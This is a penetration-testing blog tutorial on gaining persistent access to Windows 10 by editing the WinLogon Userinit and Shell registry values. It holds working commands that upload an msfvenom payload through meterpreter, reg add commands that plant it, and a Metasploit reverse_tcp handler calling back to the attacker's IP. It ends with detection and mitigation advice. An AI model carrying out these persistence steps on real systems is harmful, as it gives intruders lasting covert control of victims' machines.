In this article, we are going to describe
the ability of the WinLogon process to provide persistent access to the Target
Machine.
Table of Content
·
Introduction
·
Configurations used in
Practical
·
Default Registry Key Values
·
Persistence using WinLogon
o Using Userinit Key
o Using the Shell Key
·
Detection
·
Mitigation
Introduction
The Winlogon process is a very important
part of the Windows operating system, and Windows will be unusable without it.
This process performs many important tasks
related to the Windows sign-in process. For example, when you sign in, the Winlogon
process is responsible for loading your user profile into the registry. Hence,
each Windows user account is dependent on WinLogon to use the keys under HKEY_CURRENT_USER
which is unique for each user account.
Winlogon has special hooks into the system
and watches to see if you press Ctrl+Alt+Delete. This is known as the “secure
attention sequence”, and it’s why some PCs may be configured to require you to
press Ctrl+Alt+Delete before you sign in. This combination of keyboard
shortcuts is constantly caught by Winlogon, which guarantees you're signing in
on a safe desktop where different programs can't monitor the password you're
typing or impersonate a sign-in dialog.
The Windows Logon Application additionally
monitors the keyboard and mouse action and is liable for locking your PC and
starting screen savers after a time of no activity.
Microsoft Official site provides a more
detailed, technical list of Winlogon’s
responsibilities.
Configurations used in Practical
Attacker:
OS: Kali Linux 2020.1
IP: 192.168.1.112
Target:
OS: Windows 10
IP: 192.168.1.104
Default Registry Key Values
Now as discussed in the introduction, the
WinLogon process controls the HKEY_CURRENT_USER. But being a Windows Propriety
Software, its registry values are located in the HKEY_LOCAL_MACHINE. If we want
to take a look at the Registry Key Values for WinLogon, we will have to open
the Registry Editor. This can be achieved by typing Regedit in the Run Panel. Then
Traverse to the following Location:
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon
Now here among a lot of other keys we see
that we have keys named Userint and Shell of REG_SZ type. We will be using
these keys to gain persistence over this machine. The scenario that can be
related here is that the attacker gains a meterpreter session over the Target
Machine here. The attacker can use any method of their choice. Then he uses the
meterpreter session to alter the Registry Keys in WinLogon to convert its
session into a persistence session.
Persistence using Userinit Key
Transfering Malicious Executable
We created a malicious executable file
named raj.exe using the msfvenom tool. More about that here.
Now using the meterpreter session that we already obtained, we transfer this
malicious executable to the Target Machine. We will be using the upload command
of the meterpreter for this. After the file is successfully uploaded to the
Target Machine, we ran the shell command.
upload /root/raj.exe
Modifying Registry Values
Since we have the shell of the Target
System, we used the “reg query” command to get information about the Userinit
Key of WinLogon. We see that it has the default value we saw earlier. Now using
the “reg add” command we modified the key value to hold the malicious
executable as well.
shell
reg query
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon" /v Userinit
reg add
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v
Userinit /d "Userinit.exe, raj.exe" /f
reg query
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon" /v userinit
We ran the “reg query” command again to
ensure that the values are indeed modified.
We can also verify the modification
manually here as shown in this image below.
Gaining Persistent Shell
Now that we have made the changes in the
registry. We should be getting a persistent shell as soon as the WinLogon is
triggered. Although we need to have a listener set up for the session that is
generated. The listener should have the same configurations as IP Address and
Port that were used in crafting the payload. Here we can see that we have a
persistent shell.
use exploit/muilti/handler
set payload
windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.112
set lport 4444
exploit
Persistence using Shell Key
We got our persistence using the Userinit
key. Now let’s focus on another key that can be used to achieve persistence
over the Target Machine. It is the Shell key. It by default holds the
explorer.exe as shown in the given below.
Modifying Registry Values
As we did in the previous practices, we
will be gaining a meterpreter session, then we will be transferring the payload
over to the Target Machine using the upload command. Then we will be adding the
name of the executable in the Registry Value using reg add command.
upload /root/raj.exe
shell
reg query
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell
reg add
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell
/d "explorer.exe, raj.exe" /f
We can verify that the payload is indeed
added to the Shell Key by going to the location in the Registry Editor
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon
Gaining Persistent Shell
Now that we have made the changes in the
registry. We should be getting a persistent shell as soon as the WinLogon is
triggered. Although we need to have a listener set up for the session that is
generated. The listener should have the same configurations as IP Address and
Port that were used in crafting the payload. Here we can see that we have a
persistent shell.
use exploit/muilti/handler
set payload
windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.112
set lport 4444
exploit
Detection
·
Monitor for changes to Registry
entries associated with Winlogon that do not correlate with known software,
patch cycles, etc.
·
Tools such as Sysinternals
Autoruns may also be used to detect system changes that could be attempted at
persistence, including listing current Winlogon helper values.
·
New DLLs written to System32
that do not correlate with known good software or patching may also be
suspicious.
·
Look for abnormal process
behavior that may be due to a process loading a malicious DLL.
·
Data and events should not be
viewed in isolation but as part of a chain of behavior that could lead to other
activities, such as network connections made for Command and Control, learning
details about the environment through Discovery, and Lateral Movement.
Mitigation
·
Identify and block potentially
malicious software that may be executed through the Winlogon helper process by
using whitelisting tools like AppLocker that are capable of auditing and/or
blocking unknown DLLs.
·
Limit the privileges of user
accounts so that only authorized administrators can perform Winlogon helper
changes.
We at Hacking Articles want to request
everyone to stay at home and self-quarantine yourself for the prevention
against the spread of the COVID-19. I am writing this article while Working
from home. Take care and be Healthy!MITRE|ATT&CK
0 comments:
Post a Comment